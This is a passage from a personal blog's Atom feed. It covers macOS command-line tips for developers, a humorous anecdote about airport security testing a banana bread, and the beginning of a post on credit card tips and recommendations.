            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ brew install bash
</span></span><span style="display:flex;"><span>...</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div></li>
<li>
<p>pbcopy, pbpaste - interacts with pasteboard, which is Mac&rsquo;s clipboard.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ <span style="color:#b58900">echo</span> <span style="color:#2aa198">&#34;copy this to clipboard&#34;</span> | pbcopy
</span></span><span style="display:flex;"><span>$ pbpaste  <span style="color:#586e75"># Pastes the content of clipboard</span>
</span></span><span style="display:flex;"><span>...</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div></li>
<li>
<p>open is the standard command for opening any file (it chooses the relevant application).</p>
</li>
<li>
<p>  
    
    
<a href="https://developer.apple.com/library/mac/documentation/Darwin/Reference/ManPages/man1/defaults.1.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">defaults</a> is for modifying settings of various apps via the command line, e.g.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ defaults <span style="color:#b58900">read</span>
</span></span><span style="display:flex;"><span>...</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>to see a list of all such settings.</p>
</li>
<li>
<p>Default autocomplete settings for commands in Mac are  subpar. My collection of fixes is   
    
    
<a href="https://github.com/ashishb/dotfiles/blob/master/_bashrc?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">here</a>.</p>
</li>
<li>
<p>A lot of other default settings in Mac are not developer-friendly. My .osx file is   
    
    
<a href="https://github.com/ashishb/dotfiles/blob/master/setup/_macos?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">here</a>, it is based on the   
    
    
<a href="https://mths.be/osx?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">legendary</a> .osx files from Mathias. Feel free to read my   
    
    
<a href="https://github.com/ashishb/dotfiles/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">dotfiles</a> and also for more examples   
    
    
<a href="https://dotfiles.github.io/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">https://dotfiles.github.io/</a>.</p>
</li>
</ol>
<h3 id="minor-things">Minor Things</h3>
<ol>
<li>
<p><strong>Filenames are case-insensitive,</strong> by default, on the Mac OS Extended (Journaled) file system.</p>
</li>
<li>
<p>Right mouse click - <strong>Cmd + click</strong></p>
</li>
<li>
<p>Closing a window does not close the application, <strong>Cmd + Q</strong> does.</p>
</li>
<li>
<p>Default key repeat speed is slow for programming.  Following is a fix for that (taken from the   
    
    
<a href="https://github.com/mathiasbynens/dotfiles/blob/master/.osx?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">source</a>)</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ defaults write NSGlobalDomain KeyRepeat -int <span style="color:#2aa198">0</span>
</span></span><span style="display:flex;"><span>...</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div></li>
<li>
<p>Try out two-finger, three-finger, and four-finger swipes on the trackpad. It is pretty amazing.</p>
</li>
<li>
<p>All credentials (like Wi-Fi passwords, certificates, etc.) are stored in the <strong>Keychain app.</strong></p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ open -a <span style="color:#2aa198">&#34;Keychain Access&#34;</span>
</span></span><span style="display:flex;"><span>...</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div></li>
<li>
<p>To list all the applications installed on the system use (taken from   
    
    
<a href="https://stackoverflow.com/questions/2765063/how-can-i-discover-what-apps-are-installed-on-os-x-using-objective-c-or-macruby?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">source</a>)</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ system_profiler SPApplicationsDataType -xml
</span></span><span style="display:flex;"><span>...</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>(system_profiler in general, is a pretty useful command as well).</p>
</li>
</ol>
<h3 id="some-more-reads">Some more reads</h3>
<ol>
<li>  
    
    
<a href="https://news.ycombinator.com/item?id=7051091&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">https://news.ycombinator.com/item?id=7051091</a></li>
<li>  
    
    
<a href="https://www.infoworld.com/d/applications/top-20-os-x-command-line-secrets-power-users-202466?page=0,0&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">https://www.infoworld.com/d/applications/top-20-os-x-command-line-secrets-power-users-202466?page=0,0</a></li>
</ol>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/macos" term="macos" label="macos"/></entry><entry><title type="html">Bloody Banana Bread</title><link href="https://ashishb.net/short-stories/bloody-banana-bread/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/air-india/?utm_source=atom_feed" rel="related" type="text/html" title="A surprisingly positive experience with Air India"/><link href="https://ashishb.net/short-stories/unhospitable-airports/?utm_source=atom_feed" rel="related" type="text/html" title="Unhospitable Airports"/><link href="https://ashishb.net/short-stories/souvenir-clothing/?utm_source=atom_feed" rel="related" type="text/html" title="Souvenir Clothing"/><link href="https://ashishb.net/short-stories/crowded-or-popular-exclusive-or-deserted/?utm_source=atom_feed" rel="related" type="text/html" title="Crowded or Popular? Exclusive or deserted?"/><link href="https://ashishb.net/travel/hotels-vs-airbnb-vs-hostels/?utm_source=atom_feed" rel="related" type="text/html" title="Hotels vs Airbnb vs Hostels"/><id>https://ashishb.net/short-stories/bloody-banana-bread/</id><author><name>Ashish Bhatia</name></author><published>2013-12-11T19:25:52+00:00</published><updated>2013-12-11T19:25:52+00:00</updated><content type="html"><![CDATA[<blockquote>Worried when TSA flagged my unmarked banana bread at LA airport, I feared the worst. Thankfully, it was a false alarm! A humorous airport security tale.</blockquote><p>I grumbled that I have to go through security check on a connecting airport. It turned out that my domestic flight had landed in the international section. There was no secure passage connecting it to the next terminal. I crossed the security checkpoint at LA airport, and after wearing my shoes, I was waiting for my bag to come out of the scanner.</p>
<p>“Sir, is this your bag?” a tall African-American TSA personnel looking at me, said, “it turned the light red on the scanner, we need to recheck it.” I was pretty sure the bottles were empty. I was not carrying anything sharp except keys which TSA people have seen before. She opened my bag in front of me, checked and pulled a banana bread out. “We have to test this,” she said.</p>
<p>I purchased that banana bread earlier from a Farmer’s market (“mandi”). I did not get a chance to eat it, so, it was wrapped around in unmarked polythene, there was no receipt either. Could this banana bread be carrying narcotics? How would I prove my innocence? How would I explain this to my mother? The thought sent shivers through my spine. I felt a strong impulse of grabbing the banana bread from her and swallowing it right there. But fear of five TSA men jumping on me and Mercury News/Punjab Kesari publishing that news held me back.</p>
<p>Less than a minute later, she came back and said: “everything fine, you are good to go.” I finished that banana bread right there while she watched with bewilderment.</p>
]]></content><category scheme="https://ashishb.net/category/short-stories" term="short-stories" label="short-stories"/><category scheme="https://ashishb.net/tag/travel" term="travel" label="travel"/></entry><entry><title type="html">Finance 101: Credit Cards</title><link href="https://ashishb.net/finance/finance-101-credit-cards/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/finance/finance-101-a-basic-plan/?utm_source=atom_feed" rel="related" type="text/html" title="Finance 101: A basic plan"/><link href="https://ashishb.net/finance/finance-101-cheatsheet/?utm_source=atom_feed" rel="related" type="text/html" title="Finance 101: Cheatsheet"/><link href="https://ashishb.net/finance/finance-101-references/?utm_source=atom_feed" rel="related" type="text/html" title="Finance 101: References"/><link href="https://ashishb.net/finance/personal-finance-thoughts-on-peer-to-peer-lending/?utm_source=atom_feed" rel="related" type="text/html" title="Personal Finance: Thoughts on peer to peer lending"/><link href="https://ashishb.net/book-summary/bogleheads-guide-to-investing/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Bogleheads guide to investing"/><id>https://ashishb.net/finance/finance-101-credit-cards/</id><author><name>Ashish Bhatia</name></author><published>2013-11-22T10:12:20+00:00</published><updated>2013-11-22T10:12:20+00:00</updated><content type="html"><![CDATA[<blockquote>Discover top credit card tips: Get your first card at a credit union, avoid online apps, build credit, track your rating, and find the best rewards today.</blockquote><p>Since I wrote the 
<a href="/finance/finance-101-table-of-contents/">initial</a> set of posts, quite a few people have asked me about good credit cards. So, I decided to write one about the same.</p>
<p>First a few tips.</p>
<ol>
<li>
<p>If this is your first card, don&rsquo;t apply online, you will be rejected. The only sure way to get a credit card is through a credit union (you might become its member via a place of residence or employer) and that too in person. Or a bank with whom, you have a checking account (again, in person). I have heard that going to a new bank and telling them that if they give you a credit card then you will open a checking account with direct deposit (of payroll into it) also works.</p>
</li>
<li>
<p>Don&rsquo;t apply for the second card for at least 6 months, give some time for credit history to be built (This rule applies only for the &ldquo;second&rdquo; card, not after that).</p>
</li>
<li>
<p>Every time you are rejected, the chance of getting accepted the next time reduces.</p>
</li>
<li>
<p>If you are rejected, pick up the phone and call them in person, most likely they will approve it over the phone.</p>
</li>
<li>
<p>Pay bills in full, some people (probably employed by credit card providers) tell you that if you leave a small balance on the card then your credit history will improve, I disagree.</p>
</li>
<li>
<p>The increasing credit limit on cards impacts credit scores temporarily, so, avoid doing that (unless needed). Also, it reduces the chances of getting a new credit line (card or loan) since the total credit line grows in proportion to the gross annual income of the person.</p>
</li>
<li>
<p>Visa is the most accepted payment gateway, so prefer a visa card over others.</p>
</li>
<li>
<p>Have multiple cards, sometimes, while traveling one card might get blocked due to automated fraud triggers, in that case, at least other cards can be used.</p>
</li>
<li>
<p>Cards with annual fees usually don&rsquo;t make any sense except maybe for the first year when they don&rsquo;t charge an annual fee (Disclaimer: I don&rsquo;t own a   
    
    
<a href="https://www304.americanexpress.com/credit-card/starwood-preferred-guest?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Starwood Preferred Guest</a> card - which a lot of people recommend is good, I think people who travel a lot and have a family will probably find it to be good).</p>
</li>
<li>
<p>Time the new card with the purchases in life - e.g. if one knows that s/he is going to book flight tickets in the next 3 months, apply for a new card, use that card and meet its minimum spending to get the bonus (usually the card bonus will be a more lucrative proposition that the rewards earned in the first year of owning the card).</p>
</li>
<li>
<p>Cards paying points (which cannot be redeemed for cash) usually have better rewards.</p>
</li>
<li>
<p>I have never owned a discovert or diners club card not because I don&rsquo;t want to but because I have never found one with a good value proposition.</p>
</li>
<li>
<p>Track credit rating using   
    
    
<a href="https://creditsesame.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">creditsesame.com</a>,   
    
    
<a href="https://creditsesame.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">creditkarma.com</a>, or   
    
    
<a href="https://wallethub.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">wallethub.com</a> - these are non-FICO ratings but are highly correlated to FICO score (at least that&rsquo;s what they claim). Barclays provides its credit card holders with real FICO scores for free. Discover now provides   
    
    
<a href="https://www.discover.com/free-credit-score/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">free</a> FICO credit scores for every one.</p>
</li>
<li>
<p>Use the   
    
    
<a href="https://walla.by?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Wallaby</a> app to decide which card to use for which purchase. Wallaby is dead now.   
    
    
<a href="https://www.maxivu.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Maxivu</a> is a replacement but is not as feature-rich as Wallaby.</p>
</li>
<li>
<p>Whenever a card is canceled, it&rsquo;s erased from the credit report after the cancellation and causes a sudden drop in credit score then, therefore, ideally, the credit card with the longest credit history should never be canceled unless the other cards have a similar long credit history as well (yeah, I know it&rsquo;s vague - the fact of the matter is I have not found any source which can provide a concrete answer).</p>
</li>
</ol>
<p>Now a list of some good cards</p>
<ol>
<li>  
    
    
<a href="https://www.bankofamerica.com/credit-cards/products/cash-back-credit-card.go?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Bank of America Visa Cash rewards</a> - 3.3% cash back on gas.</li>
<li>  
    
    
<a href="https://creditcards.chase.com/credit-cards/chase-freedom.aspx?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Chase Freedom Visa</a> - 5 points back on different categories every quarter (each point is worth at least 1 cent of the cash, it can be redeemed for goods at a higher multiple).</li>
<li>  
    
    
<a href="https://www304.americanexpress.com/credit-card/blue-cash-everyday?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">American Express Blue Cash</a> every day - 3% cash back at supermarkets (including Walmart).</li>
<li>  
    
    
